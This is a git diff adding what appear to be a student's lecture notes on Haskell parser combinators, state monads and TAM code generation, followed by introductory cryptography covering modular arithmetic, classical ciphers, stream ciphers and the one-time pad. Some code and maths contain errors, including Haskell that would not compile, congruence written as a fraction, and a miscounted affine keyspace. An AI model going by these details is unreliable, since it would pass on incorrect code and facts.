+pairSum = do n <- integer
+ m <- integer
+ return (n+m)
+--much cleaner & easier to understand
+```
+
+```
+parse (symbol "number" >>= \u -> integer) "number 9"
+[(9, "")]
+parse (symbol "number" >> integer) "number 9"
+[(9, "")]
+
+NOTE: >> is a non-dependant bind
+```
+
+
+
+```haskell
+the grammer
+--funApp ::= ( simpleFun integer )
+-- will be a parser that returns an integer
+funApp :: Parser Int
+funApp = symbol '(' >> (simpleFun <*> integer) >>= \y -> symbol ')' >> return y
+```
+
+```
+λ> parse funApp "(double 5)"
+[(10, "")]
+```
+
+Rewrite with `do`
+
+```haskell
+funApp = do symbol '('
+ f <- simpleFun
+ x <-integer
+ symbol ')'
+ return (f x)
+```
+
+### Alternative Class of Parser
+
+```haskell
+instance Alternative Parser where
+ -- empty :: Parser a
+ empty = P (\src -> [])
+
+ -- (<|>) :: Parser a -> Parser a -> Parser a
+ p1 <|> p2 = P (\src -> case parse p1 src of
+ [] -> parse p2 src
+ rs -> rs)
+-- if p1 fails, then parse with p2, else return result rs
+```
+
+```
+λ> parse (symbol "abc" <|> symbol "acb") "abc"
+[("abc", "")]
+λ> parse (symbol "abc" <|> symbol "acb") "xyz"
+[]
+λ> parse (integer <|> binary) "1101"
+[(1101,"")]
+λ> parse (binary <|> integer) "1101"
+[(13,"")]
+-- will only apply p2 if p1 fails
+λ> parse (binary <|> integer) "1201"
+[(1,"201")]
+-- binary successfully parses "1" and leaves "201"
+```
+
+Using parallel choice notation `<||>`
+
+```haskell
+(<||>) :: Parser a -> Parser a -> Parser a
+p1 <||> p2 = P (\src -> parse p1 src ++ parse p2 src)
+```
+
+```
+λ> parse (binary <||> integer) "1101"
+[(13, ""), (1101, "")]
+```
+
+### Explaining the `FunParser.hs` library
+
+```haskell
+satisfy :: Parser a -> (a -> Bool) -> Parser a
+satisfy p cond = do x <- p
+ if (cond x) then return x
+ else empty
+-- the way to denote failure is empty (from alternitve class)
+```
+
+```
+λ> parse (satisfy integer (>10)) "42"
+[(42, "")]
+λ> parse (satisfy integer (>10)) "9"
+[]
+```
+
+Writing a satisfy function just for characters
+
+```haskell
+sat :: (Char -> Bool) -> Parser Char
+-- item parses 1 character
+sat cond = satisfy item cond
+```
+
+```
+λ> parse (sat isUpper) "a"
+[]
+λ> parse (sat isUpper) "A"
+['A',""]
+```
+
+```haskell
+lower :: Parser Char
+lower = sat isLower
+
+upper :: Parser Char
+upper = sat isUpper
+
+digit :: Parser Char
+digit = sat isDigit
+
+--and so on for others like letter & alphaNumeric
+
+char :: Char -> Parser Char
+char c = sat (==c)
+```
+
+```
+λ> parse (char 'A') "not a captial a"
+[]
+λ> parse (char 'A') "A not a captial a"
+['A'," not a capital a"]
+```
+
+```haskell
+string :: String -> Parser String
+string [] = return [] --list as string is list of chars
+string (c:cs) = do char c
+ string cs
+ return (c:cs)
+```
+
+```
+λ> parse (string "hello") "hello everybody"
+[("hello", "everybody")]
+λ> parse (string "hello") " hello everybody"
+[]
+λ> parse (sat isSpace) " hello"
+[(' ',"hello")]
+λ> parse (many (sat isSpace)) " hello"
+[(' ',"hello")]
+```
+
+We have to fix leading white space causing failure
+
+```haskell
+space :: Parser ()
+-- a parser that succeeds or fails and does not return anything
+space = do many (sat isSpace)
+ return ()
+-- writing a parser to ignore white space
+token :: Parser a -> Parser a
+token p = do space
+ x <- p
+ space
+ return x
+```
+
+```
+λ> parse (token (string "hello")) " hello everybody"
+[("hello","everybody")]
+```
+
+```haskell
+symbol :: String -> Parser String
+symbol = token (string s)
+```
+
+```
+λ> parse (symbol "hello") " hello everybody"
+[("hello","everybody")]
+```
+
+#### Defining parsers for arithmetic expressions
+
+```haskell
+-- expr ::= mexpr + exp | mexpr - exp | mexpr
+expr :: Parser AST
+expr = do t1 <- mexpr
+ symbol '+'
+ t2 <- expr
+ return (BinOp Addition t1 t2)
+ <|>
+ do t1 <- mexpr
+ symbol '-'
+ t2 <- expr
+ return (BinOp Subtraction t1 t2)
+ <|>
+ mexpr
+
+--we can optimise this grammer as all symbols start with mexpr
+-- expr ::= mexpr ( + expr | - expr | empty)
+expr :: Parser AST
+expr = do t1 <- mexpr
+ (do symbol '+'
+ t2 <- expr
+ return (BinOp Addition t1 t2)
+ <|>
+ do symbol '-'
+ t2 <- expr
+ return (BinOp Subtraction t1 t2)
+ <|>
+ return t1)
+```
+
diff --git a/docs/lectures/compilers/08_variables.md b/docs/lectures/compilers/08_variables.md
new file mode 100644
index 0000000..9fe2bdc
--- /dev/null
+++ b/docs/lectures/compilers/08_variables.md
@@ -0,0 +1,149 @@
+# Compiling Variables
+
+A variable is identified by a alphanumeric string. We can store this as a list of pairs, with the variables identifier and its value.
+
+Variable Environment or VarEnv - `[(Identifier, Stack Address)]`
+
+A stack address is an integer value that specifies where in the stack that variable is contained. The bottom of the stack is reserved for variable values.
+
+The bottom of the stack is indexed `0`.
+
+Lets say our environment consists of 3 variables named x,y,z. It would look like:
+
+`[("z",2), ("y",1), ("x",0)]`
+
+| Variables | Stack (Values) | Index |
+| :-------: | :------------: | :---: |
+| x | 7 | 0 |
+| y | 2 | 1 |
+| z | 9 | 2 |
+
+To get the value of a variable from the stackk, TAM uses the instruction `LOADL a` where `a` is a stack address. `LOADL` will get the value and copy the value to the top of the stack.
+
+`LOAD a` - copy address a to top of stack
+
+`STORE a` - pop top of stack to address a
+
+For example if `LOADL 2` is called, it will effect the stack in the following way:
+
+| Variables | Stack (Values) | Index |
+| :-------: | :------------: | :---: |
+| x | 7 | 0 |
+| y | 2 | 1 |
+| z | 9 | 2 |
+| | … | |
+| | 9 | |
+
+```haskell
+expCode :: VarEnv -> Expr -> [TAMInst]
+```
+
+Before we just called the abstract syntax tree `AST` however with the extended grammar now we will have multiple ASTs, one for programs, one for commands, expressions. The AST for expressions we call `Expr`.
+
+Remember in our compiler, the stack is represented and stored as a list, with the top of the stack being the head of the list.
+
+## Declaration of Variables
+
+```js
+let var x; //no value given means initialised to 0
+ var y := 5 //note no semicolon
+ var z;
+in ...
+```
+
+For the code above, we need to generate a VarEnv. The compiler needs to generate a variable environment and TAM code.
+
+VarEnv: `[("z",2), ("y",1), ("x",0)]`
+
+TAM code stack: `[0,5,0]`
+
+However we also need to account for expressions such as:
+
+```js
+let var x := 3;
+ var y := 5;
+ var z := x*y
+```
+
+```haskell
+declarationCompiler :: [Declaration] -> (VarEnv, [TAMInstr])
+VarEnv :: [(Identifier, Address)]
+```
+
+NOTE: this can be defined with functions given in the `FunParser` library. Or using a `state monad`
+
+### State Monad
+
+$s_0 \rightarrow s_1 \rightarrow s_2 \rightarrow s_n$ for each change in state, there's a corresponding result generated.
+
+$$
+a_0 \quad\space\space\space a_1 \quad\space\space\space a_n
+$$
+
+- For each of these states, we need a variable environment and address
+
+- For each of the results, we need to generate TAM instructions.
+
+Example: $s_n$ could be your bank balance and $a_n$ could be the purchase history.
+
+- In our case:
+ - States are VarEnv & next free address space for next variable
+ - Outputs are TAM instructions
+
+We to define a type that models a state transform, while at the same time producing a result. This is where a state monad comes in.
+
+```haskell
+newtype ST st a = S (\st -> (a, st))
+-- ST - state transformer
+-- st - type of states
+-- a - type of output/results
+-- S - constructor
+-- \st a function that takes a state and returns a value along with a new state
+-- this is a general type definition with state type st and result type a
+-- this is still just a type constructor, has to be applied to a type
+instance Functor (ST st)
+instance Applicative (ST st)
+instance Monad (ST st)
+--as we inherit the monad class, we can use do notation
+```
+
+```haskell
+newtype ST st a = S (\st -> (a, st))
+--type definition
+ST Int
+--type constructor
+ST Int String
+--type
+```
+
+```haskell
+app :: ST st a -> st -> (a, st)
+app (S f) x = f x
+--applies the constructor to state x
+```
+
+```haskell
+instance Functor (ST st) where
+ --fmap :: (a->b) -> ST st a -> ST st b
+ fmap g sta = S (\s -> let (x,s') = app sta s
+ in (g x, s'))
+```
+
+```haskell
+instance Applicative (ST st) where
+ --pure :: a -> ST st a
+ pure x = S (\s -> (x,s))
+ --(<*>) :: (ST st (a -> b)) -> ST st a -> ST st b
+ stf <*> sta = S (\s -> let (f,s') = app stf s
+ (x,s'') = app sta s')
+ in (f x, s''))
+```
+
+```haskell
+instance Monad (ST st) where
+ return = pure
+ -- (>>=) :: (ST st a) -> (a -> ST st b) -> ST st b
+ sta >>= f = S (\s -> let (x,s') = app sta s
+ (y,s'') = app (f x) s'
+ in (y,s''))
+```
diff --git a/docs/lectures/compilers/09_variable_enviroments.md b/docs/lectures/compilers/09_variable_enviroments.md
new file mode 100644
index 0000000..f2fe1c3
--- /dev/null
+++ b/docs/lectures/compilers/09_variable_enviroments.md
@@ -0,0 +1,164 @@
+# Variable Environments
+
+```haskell
+type VarEnv = [(Identifier, StkAddress)]
+-- String Int
+
+address :: VarEnv -> Identifer -> StkAddress
+address ve v = case lookup v ve of
+ Nothing -> error "variable not in enviroment"
+ Just a -> a
+--Expr is AST of expressions
+expCode :: VarEnv -> Expr -> [TAMInstr]
+expCode ve (LitInteger x) = [LOADL x]
+-- we must put variable value on top of the stack
+expCode ve (Var v) = [LOAD (address ve v)]
+```
+
+How do we build a variable environment?
+
+Every program begins with a sequence of variable declarations
+
+```js
+var x := 7;
+var y := 3;
+var z;
+var w := x * y - 2
+```
+
+The parser will turn this into a list of AST for declarations
+
+Then we have to use this to build a variable environment, and generate TAM code to write the values of the variables onto the stack.
+
+We do this using the state monad
+
+- We use as an underlying state the variable environment itself, as we build it sequentially
+- We also keep the stack address as a state, where it keeps the next free address
+
+```haskell
+declsCode :: [Declarations] -> (VarEnv, [TAMInstr])
+declsCode ds = let (tam,(ve,0a)) app (declsTAM ds) ([],0) --initial state
+ in (ve,tam)
+
+declsTAM :: [Declarations] -> ST (VarEnv, StkAddress) [TAMInstr]
+declsTAM [] = return []
+declsTAM (d:ds) = do
+ td <- declTAM d
+ tds <- declsTAM ds
+ return (td++tds)
+
+declTAM :: Declarations -> ST (VarEnv, StkAddress) [TAMInstr]
+declTAM (VarDecl v) = do
+ (ve,a) <- stState
+ stUpdate ((v,a) : ve, a+1)
+ return [LOADL 0]
+declTAM (VarInit v e) = do
+ (ve,a) <- stState
+ stUpdate ((v,a) : ve, a+1)
+ return (expCode ve e)
+
+```
+
+```shell
+λ> parseAll declarations "var x:=7;var y:=3;var z;var w:=x*y-2"
+[VarInit "x" (LitInteger 7), VarInit "y" (LitInteger 3), VarDecl "z", VarInit "w" (BinOp Subtraction (BinOp Multiplication (Var "x") (Var "y")) (LitInteger 2))]
+
+λ> ds = parseAll declarations "var x:=7;var y:=3;var z;var w:=x*y-2"
+
+λ> (ve,tam) = declsCode ds
+λ> ve
+[("w",3),("z",2),("y",1),("x",0)]
+λ> tam
+[LOADL 7, LOADL 3m LOADL 0, LOAD 0, LOAD 1, MUL, LOADL 2, SUB]
+λ> execTAM [] tam
+[19, 0, 3, 7]
+```
+
+## Designing ASTs for any grammar
+
+- We turn every non-terminal of the grammar into a type of AST
+
+- We turn every production of the non-terminal into a constructor of the type
+
+Defining the grammar of TAM
+
+```
+command ::= identifier := expr
+ | if expr then command else command
+ | while expr do command
+ | getint ( identifier )
+ | printint ( expr )
+ | begin commands end
+```
+
+Here: `:=`, `if`, `then`, `else`, `while`, `do`, `getint`, `printint`, `begin`, `end`, `(`, `)` are terminal
+
+```haskell
+data Command =
+
+datatypes Identifier = String, Expr, Commands -- [Command]
+```
+
+Assign to every production one constructor for the data type.
+
+This means we will have 6 constructors called `Assignment`, `IfThenElse`, `WhileDo`, `GetInt`, `PrintInt`, `BeginEnd`
+
+```haskell
+data Command = Assignment Identifier Expr
+ | IfThenElse Expr Command Command
+ | WhileDo Expr Command
+ | GetInt Identifer
+ | PrintInt Expr
+ | BeginEnd [Command]
+
+type Commands = [Command]
+--or
+data Commands = SingleC Command
+ | MultipleC Command Commands
+```
+
+## Organising a Haskell Project
+
+There are 6 Haskell modules, `Main.hs` is the entry point.
+
+###### Defining a Module
+
+```haskell
+module where
+import ...
+--definitions
+newtype ...
+--functions
+func :: a -> b
+```
+
+Note file name must start with a capital
+
+When you import a module, can can use functions defined in the module
+
+```haskell
+data FileType = EXP | TAM
+data Option = Trace | Run | Evaluate
+
+main :: IO () --input output monad
+```
+
+this is the entry point, to compile
+
+```shell
+$ ghc Main.hs -o aec
+$ ./aec arith_example.exp --evaluate
+Evaluating Expression: 45
+```
+
+```haskell
+stUpdate :: st -> ST st ()
+stUpdate s = S (\_ -> ((), s))
+
+stGet :: ST st st
+stGet = S (\s -> (s,s))
+
+stRevise :: (st -> st) -> ST st ()
+stRevise f = stGet >>= stUpdate . f
+```
+
diff --git a/docs/lectures/compilers/10_if_then_else.md b/docs/lectures/compilers/10_if_then_else.md
new file mode 100644
index 0000000..137320b
--- /dev/null
+++ b/docs/lectures/compilers/10_if_then_else.md
@@ -0,0 +1,104 @@
+# Compiling Branches
+
+**Mini Triangle Programs** -$parse$-> **AST** -$Code\space Generation$-> **TAM Programs** -$execute$ -> **Output**
+
+Before we could generate a list of instructions to be executed in sequence, now we need to implement code thats conditionally executed or executed multiple times.
+
+```haskell
+--Code for dealing with functions and commands
+commCode :: VarEnv -> Command -> TAMProg
+```
+
+We will assume an if statement looks like this
+
+IF $e$ THEN $c_1$ ELSE $c_2$
+
+```python
+if e then c1 else c2
+IfThenElse e c1 c2
+```
+
+```haskell
+expCode ve e
+commCode ve c1
+commCode ve c2
+-- We dont want to execute both
+```
+
+- We can use `JUMPIFZ R1`, a branching function supplied by the TAM language.
+
+- This means `commCode ve c1` & `commCode ve c2` need labels and a `JUMPA` after
+
+```
+MINI TRIANGLE PROGRAM
+
+let var := 5
+in
+begin
+ if 1
+ then n := 6
+ else n := 7;
+ if 0
+ then n := 8
+ else n := 9;
+end
+```
+
+```assembly
+COMPILED VERSION
+
+LOADL 5
+
+
+LOAD 1 --if 1
+JUMPIFZ "label1" --jump to else
+LOAD 6 --load the number
+STORE 0 --store 0 (stack[0] is 6 from line above) in the place of variable n, for other variables you would have to check the variable enviroment to get the stack address
+JUMP "label2"
+Label "label1"
+
+LOAD 7
+STORE 0
+
+Label "label2"
+LOAD 0
+JUMPIFZ "label3"
+```
+
+
+
+### Generating Labels
+
+Labels must **always** be **unique**.
+
+This would require a global variable in our compiler to count the number of labels, haskell doesnt not allow global variables.
+
+We can use the `stateMonad` instead.
+
+```haskell
+type LabelName = String
+
+fresh :: ST Int LabelName
+-- Whenever we call fresh, it generates a new label name
+-- We can use do (because fresh is element of ST Monad)
+
+fresh = do
+ n <- stGet --checks current state (which is num of labels)
+ stUpdate(n+1) --update number of labels
+ return ("#" : (show n)) -- # symbol to denote labels
+ -- show converts integer to string (fresh returns string)
+
+commCode :: VarEnv -> Command -> ST Int [TAMInsrt]
+-- TAMPrgm is interchangable with [TAMInstr]
+commCode ve (IFTHENELSE e c1 c2) =
+ do l1 <- fresh
+ l2 <- fresh --generate the two labels needed for an if
+ let te = expCode ve e --the condition expression
+ tc1 <- commCode ve c1 --compile success branch
+ tc2 <- commCode ve c2 --compile else branch
+ return (te ++ [JUMPIFZ l1] ++ tc1 ++ [JUMP l2]
+ ++ [Label l1] ++ tc2 ++ [Label l2])
+--then return the tam instructions
+```
+
+**REMINDER**: `expCode` is a function that takes a variable environment `ve` and an expression `e` and generates a list of TAM instructions.
diff --git a/docs/lectures/compilers/11_monads_continued.md b/docs/lectures/compilers/11_monads_continued.md
new file mode 100644
index 0000000..a2f7f0b
--- /dev/null
+++ b/docs/lectures/compilers/11_monads_continued.md
@@ -0,0 +1,88 @@
+# Monad Revision
+
+You can think of a monad as a container for a data type
+
+If $M$ is a monad, that means an element of $M$: $M_a$ is some sort of container where $a$ is any datatype
+
+ One of the purposes of the `do` notation is to operate on the whole data structure by specify operations that must apply to each of the elements in the data structure, without having to specify the whole structure.
+
+$$
+M_a=\{x_1, x_2, x_3,...\}
+$$
+
+```haskell
+do x <- m
+ let y = x ** 2 + 7
+ return y
+```
+
+This extracts an element of type $a$ from $m$, squares and adds 7, and returns the new values as the data structure. Now $M$ is
+
+$$
+M_b=\{y_1, y_2, y_3, \ldots\}\\or\\M=\{x_1^2+7, x_2^2+7, x_3^2+7, \ldots\}
+$$
+
+The above can be written as a functor
+
+```haskell
+fmap (\x -> x**2+7) m
+```
+
+Monads have more functionality than functors though
+
+If $x$ is an element of $a$ or $x :: a$
+
+```haskell
+x :: a
+return x
+-- we can also write
+pure x
+```
+
+Monads can have containers within containers
+
+Assume we have function `makeBlob` that maps every element of $a$ to an element of $M_b$
+
+```haskell
+makeBlob :: a -> Mb
+makeBlob x1 = do x <- m
+ y <- makeBlob x
+ return y
+-- this can be done instead with the bind operator
+m >>= makeBlob
+(>>=) :: Ma -> (a -> Mb) -> Mb
+```
+
+## The IO Monad
+
+```haskell
+square :: Int -> Int
+square x = x*x
+
+getInt :: IO Int
+getInt = do putStrLn "Enter a number: "
+ s <- getLine -- getLine :: IO String
+ return (read s :: Int) --read :: String -> Int
+
+squareIO :: IO Int
+squareIO = do x <- getInt
+ let y <- square x
+ return y
+-- as squareIO :: IO Int, returning y prints it out
+
+squareIO :: IO () -- unit type, with only one element, also called ()
+squareIO = do x <- getInt
+ let y <- square x
+ putStrLn("The square " ++ (show x) ++ " is " (show y))
+ return () --return unit type
+-- in this case we dont even need return () as
+-- putStrLn :: IO ()
+
+--recursively asks for list unless 0 entered
+getList :: IO [Int]
+getList = do x <- getInt
+ if x == 0 then return []
+ else do
+ xs <- getList
+ return (x:xs)
+```
\ No newline at end of file
diff --git a/docs/lectures/compilers/img/a.png b/docs/lectures/compilers/img/a.png
new file mode 100644
index 0000000..a191e71
Binary files /dev/null and b/docs/lectures/compilers/img/a.png differ
diff --git a/docs/lectures/compilers/img/b.png b/docs/lectures/compilers/img/b.png
new file mode 100644
index 0000000..a9b43ce
Binary files /dev/null and b/docs/lectures/compilers/img/b.png differ
diff --git a/docs/lectures/compilers/img/c.png b/docs/lectures/compilers/img/c.png
new file mode 100644
index 0000000..5d071b6
Binary files /dev/null and b/docs/lectures/compilers/img/c.png differ
diff --git a/docs/lectures/compilers/img/d.png b/docs/lectures/compilers/img/d.png
new file mode 100644
index 0000000..3393bcc
Binary files /dev/null and b/docs/lectures/compilers/img/d.png differ
diff --git a/docs/lectures/compilers/img/e.png b/docs/lectures/compilers/img/e.png
new file mode 100644
index 0000000..eaa8557
Binary files /dev/null and b/docs/lectures/compilers/img/e.png differ
diff --git a/docs/lectures/compilers/img/f.png b/docs/lectures/compilers/img/f.png
new file mode 100644
index 0000000..75915af
Binary files /dev/null and b/docs/lectures/compilers/img/f.png differ
diff --git a/docs/lectures/compilers/img/g.png b/docs/lectures/compilers/img/g.png
new file mode 100644
index 0000000..1679179
Binary files /dev/null and b/docs/lectures/compilers/img/g.png differ
diff --git a/docs/lectures/compilers/img/h.png b/docs/lectures/compilers/img/h.png
new file mode 100644
index 0000000..cfc11dc
Binary files /dev/null and b/docs/lectures/compilers/img/h.png differ
diff --git a/docs/lectures/compilers/img/i.png b/docs/lectures/compilers/img/i.png
new file mode 100644
index 0000000..efae444
Binary files /dev/null and b/docs/lectures/compilers/img/i.png differ
diff --git a/docs/lectures/cryptography/01_intro.md b/docs/lectures/cryptography/01_intro.md
new file mode 100644
index 0000000..164cc32
--- /dev/null
+++ b/docs/lectures/cryptography/01_intro.md
@@ -0,0 +1,196 @@
+# Cryptography
+
+**Cryptology**
+
+> “The science and art of writing and solving codes to hide the meaning of messages.”
+
+**Symmetric**
+
+> “Encryption methods in which both the encryption and decryption algorithms use the same key.”
+
+**Asymmetric**
+
+>“Methods which use separate, but related, private and public keys.”
+
+**Protocols**
+
+> “The application of cryptographic algorithms in secure systems.”
+
+**Cryptanalysis**
+
+> “The science and art of breaking cryptosystems.”
+
+### Modern Cyptography (1970-)
+
+**Fundamentally different** - a scientific and mathematical discipline
+
+**Rigorously tested** - New approaches tested, justified through mathematical proofs and theory
+
+**Extremely powerful** - Ciphers usually take milliseconds to use and lifetimes of the universe to break
+
+**Wider uses** - including message integrity and authenticity
+
+**Civilian use** - everyone benefits from cryptography now
+
+## Ciphers
+
+- Ciphers have been used for thousands of years
+- Usually based around either transposition or substitution
+
+#### Caesar Cipher
+
+- An early substitution cipher, we replace each letter of plain text with a shifted letter $n$ letters away from the letter
+- Therefore our key is an integer $-25\leq n \leq 25$
+
+### Modular Arithmetic
+
+- Modular arithmetic is a system of arithmetic for finite sets of integers
+- Common sets include
+ - $\mathbb{N} = \{1,2,3,...\}$
+ - $\mathbb{Z} = \{..., -3, -2, -1, 0,1,2,3,...\}$
+ - Also $\mathbb{Q}, \mathbb{R}, \mathbb{C}$
+- Cryptography is almost always interested in finite sets
+- This is useful as it avoids overflow errors
+ - When we add or multiply two 1 byte binary digits, the result will always be 1 byte
+
+
+###### Congruence
+
+Let $a, r, m \in \mathbb{Z}$ and $m > 0$
+
+$a \equiv r (mod\space m)$ if $\frac{m}{a-r}$
+
+Check:
+
+$a=12, m=7$
+
+$a\equiv 5 (mod\space 7)$
+
+$\frac{7}{12-5}$ :white_check_mark:
+
+This can be rewritten as: $a = q\cdot m+r$
+
+###### Equivalence Classes
+
+- The sets of all integers **mod 5** form a series of equivalence classes
+- All these numbers act the same in any modluo sum
+
+For example
+
+$74\cdot 62 - 47 (mod \space 5) \equiv 74\%5 \cdot 62\%5 - 47\%5$
+
+Also works with exponentiation
+
+$3^8\space (mod\space 7)$
+
+$3^2 = 3\cdot 3 = 9 \equiv 2\space (mod\space 7)$
+
+$3^4 = 3^2\cdot 3^2 = 2\cdot 2 \equiv 4\space (mod\space 7)$
+
+$3^8 = 3^4 \cdot 3^4 = 4\cdot 4 = 16 \equiv 2 \space (mod\space 7)$
+
+#### Integer Rings
+
+- Modular arithmetic forms what in mathematics we would call a Ring
+
+###### Ring Definition
+
+The integer ring $\mathbb{Z}_m$ consists of:
+
+1. The set $\mathbb{Z}_m = \{0, 1,\ldots m-1\}$
+2. Two operations $+$ and $\cdot$ for all $a, b \in \mathbb{Z}_m$ such that:
+ 1. $a+b \equiv c \space (mod\space m), (c\in \mathbb{Z})$
+ 2. $a\cdot b \equiv d \space (mod\space m), (d\in \mathbb{Z})$
+
+Any time you add or multiply any two numbers in the set, the result is always in the set. We use $\equiv$ instead of $=$ as it could be an intermediatary number e.g. 12 instead of 2.
+
+##### Properties of Rings
+
+- We can add or multiply any two numbers in the ring, and the result is in the ring
+ - It is closed
+- Addition and multiplication are associative
+ - (a+b)+c = a + (b+c)
+- There is a neutral element 0 for addition
+ - $a + 0 \equiv a\space mod \space m$
+- The additive inverse always exists
+ - $a + (-a) = 0\space mod \space m$
+- There is a neutral element for multiplication
+ - $a\cdot 1 \equiv a\space mod\space m$
+- The multiplicative inverse exists for some but not all elements
+ - $a\cdot a^{-1} \equiv 1 \space mod \space m$
+
+#### Modular Inversion
+
+> In rings, the multiplicative inverse exists for some but not all elements
+
+- Multiplicative inverses allow us to *divide* by a number
+
+$$
+\frac{b}{a} \equiv b \cdot a^{-1} \space (mod \space m)
+$$
+
+- Not all numbers in a ring have an inverse, you can determine whether one exists quite simply:
+
+$$
+gcd(a,m)=1
+$$
+
+Example
+
+$3\cdot 9 \equiv 1 \space (mod\space 26)$
+
+$5\cdot 9 \equiv 19 \space (mod\space 26)$
+
+$19\cdot 3 \equiv 57 \equiv 5\space (mod\space 26)$
+
+Here a=3 and b=5, we can *divide* by 19 to get back to 5.
+
+#### Shift Cipher
+
+We can formalise the shift cipher using modular arithmetic
+
+Let $x, y, k \in \mathbb{Z}_{26}$
+
+$$
+e_k(x) = y \equiv x+k \space (mod \space 26) \\
+d_k(y) = x \equiv y-k \space (mod \space 26)
+$$
+
+##### Frequency Analysis
+
+- The frequency of occurrences of each character are very consistent
+- The longer a cipher text is, the easier this becomes
+
+#### Affine Cipher
+
+We can extend the shift cipher into an affine cipher
+
+Let $x,y,a,b \in \mathbb{Z}_{26}$
+
+$$
+e_k(x) = y \equiv a\cdot x+b\space (mod \space 26)\\
+d_k(y) = x \equiv a^{-1}\cdot(y-b)\space (mod \space m)
+$$
+
+where $k=(a,b)$ and $gcd(a,26)=1$
+
+This is a multiplication and a addition analagous to $y=mx+c$
+
+In a Affine cipher, letters can be themselves
+
+- The keyspace of an affine cipher
+ - a can be 0-25
+ - b can be 0-12
+ - 25*12=300
+- More secure than a caesar cipher
+
+Frequency analysis can still be used, in this case the columns will not only be shifted, but jumbled aswell.
+
+- This is not hard to crack
+
+#### The Vigenere Cipher
+
+- An early stream cipher, the Vigenere cipher is a shift cipher with a running key
+- Unlike caesar cipher, the key is repeated for as long as required.
+- It is the equivalent to multiple interleaved Caesar ciphers
+- Spreads outs occurrances of characters making frequency analysis hard.
diff --git a/docs/lectures/cryptography/02_randomness.md b/docs/lectures/cryptography/02_randomness.md
new file mode 100644
index 0000000..d77b8ea
--- /dev/null
+++ b/docs/lectures/cryptography/02_randomness.md
@@ -0,0 +1,158 @@
+# Stream Ciphers
+
+Stream ciphers encrypt bits one at a time, for as long as necessary.
+
+Stream ciphers using modulo 2 addition
+
+Let $x, y, s \in \{0,1\}$
+
+**Encryption**: $e_{s_i} (x_i) = y_i \equiv x_i + s_i \space (mod\space 2)$
+
+**Decryption**: $d_{s_i} (y_i) = x_i \equiv y_i + s_i \space (mod\space 2)$
+
+Why does mod 2 work for both encryption and decryption?
+
+$$
+d_{s_i} (y_i) \equiv y_i + s_i \space (mod\space 2) \\
+d_{s_i} (y_i) \equiv (x_i + s_i)+s_i \space (mod\space 2) \\
+d_{s_i} (y_i) \equiv (x_i + 2s_i) \space (mod\space 2) \\
+d_{s_i} (y_i) \equiv (x_i + 0\cdot s_i \space (mod\space 2) \\
+d_{s_i} (y_i) \equiv x_i
+$$
+
+Note: 2 % 2 is 0, its like **xor**-ing twice.
+
+
+
+#### Security of XOR
+
+| $x_i$ | $s_i$ | $y_i$ |
+| :---: | :---: | :---: |
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 0 |
+
+When $y_i$ is 1, it could’ve been from the message or the key.
+
+### Randomness
+
+The security of a stream cipher depends entirely on the nature of the key stream
+
+- If the stream is truly random, the output is truly random.
+
+##### True Randomness
+
+- True randomness is impossible to recreate except by chance
+ - coin flips
+- Computer systems often use hardware sources for randomness
+ - Thermal or other noise
+ - Radioactive decay
+ - Clock drift
+ - Random timings of interrupts
+
+##### Pseudo Randomness
+
+- Generate a sequence of values based on a seed
+- Usually the only requirement is statistical randomness
+
+###### Linear Congruential Generator
+
+Cs `rand()` function, this is a PRNG
+
+$$
+s_0 = 12345 \\
+s_{i+1} \equiv 1103515245 \cdot s_i + 12345 \space (mod \space 2^{32})
+$$
+
+##### Cryptographically Secure Pseudo Randomness
+
+- Is a PRNG whose output is unpredictable
+- Given n bits of key stream, can we predict the next bit x?
+
+$$
+Pr[x=s_{n+1}] < 0.5 + \epsilon
+$$
+
+#### Unconditional Security
+
+A crypto-system is **unconditional security** is unconditionally or information-theoretically secure if it cannot be broken, even with infinite computational resources.
+
+**Perfect Secrecy**: The cipher-text should reveal no information about the plain text
+
+$\forall_{m_0, m_1} \in M$ where $|m_0| = |m_1|$ and $\forall_c \in C$
+
+$Pr[E(k,m_0) = c] = Pr[E(k,m_1) = c]$
+
+The probability that $m_0$ encrypts to $c$ is the same as the probability of $m_1$ also encrypted to $c$
+
+## One Time Pad
+
+- Key stream generated by a TRNG
+- The key stream is known only to the communicating parties
+- Every key stream but $s_i$ is used only once
+
+#### OTP has perfect Secrecy
+
+**Proof**
+
+$\forall m, c : Pr[E(k,m)=c] = \frac{\{k\in K|E(k,m)=c\}}{|K|}$
+
+For every message, that encrypts to cipher text, the probability of m encrypting to c, is all the keys over all the messages
+
+For OTP:
+
+#$\{k\in K| E(k, m) = c\} = 1$
+
+Because a key is only used once
+
+because if $E(k,m)=c$ then $k=m \oplus c$
+
+$\therefore Pr[E(k, m_0) = c] = Pr[E(k, m_1) = c]$
+
+- Any plaintext is equally likely depending on the key
+- This is an example where $M = C-K\space (mod\space 26)$
+
+OTP is *not practical*:
+
+- A 1GB file would need a 1GB key
+- How are we transporting these keys & storing them
+- If you ever reuse a key, the entire cipher is broken
+
+## Modern Stream Ciphers
+
+- Modern stream ciphers use an initial seed key to generate an infinite pseudo-random keystream
+- Reusing keys catastrophically breaks the encryption
+
+$$
+M_1 \oplus K = C_1 \quad\quad M_2 \oplus K = C_2 \\
+C_1 \oplus C_2 = (M_1 \oplus K) \oplus (M_2 \oplus K) \\
+= (K \oplus K) \oplus M_1 \oplus M_2 \\
+= 0 \oplus M_1 \oplus M_2 \\
+= M_1 \oplus M_2 \\
+$$
+
+#### Crib Dragging
+
+This involves guessing $M_1$, this can be a common message such as `HTTP` request.
+
+This can be automated by checking $M_1$ over different parts of $M_2$.
+
+- Stream ciphers use a *nonce* value to alter the keystream for a given key
+- This allows us to create *different key-streams* for a given key
+
+#### Number Used Once
+
+- Numbers used once or *nonces* are vital for stream cipher security
+- Instead of always using a unique key, the security requirement is you always use a unique (key + nonce) pair
+- Nonces are not secret, they are public random seed for a key stream
+
+### Could we use a LCG?
+
+- LCG - Linear congruential generators
+- Seed using some key, then
+ - $s_{i+1} \equiv A \cdot s_i + B \space (mod \space 2)$
+ - $s_i, A, B$ are $log_2m$ bits long
+- This is trivial to break
+ - Given known plaintext $x_1, x_2, x_3$
+ - Calculate corresponding key $s_1, s_2, s_3$
diff --git a/docs/lectures/cryptography/03_stream_ciphers.md b/docs/lectures/cryptography/03_stream_ciphers.md
new file mode 100644
index 0000000..7ee2208
--- /dev/null
+++ b/docs/lectures/cryptography/03_stream_ciphers.md
@@ -0,0 +1,85 @@
+# Modern Stream Ciphers
+
+### Pseudo-randomness
+
+- TRNGs - true Random Number Generator
+ - Not feasible at scale
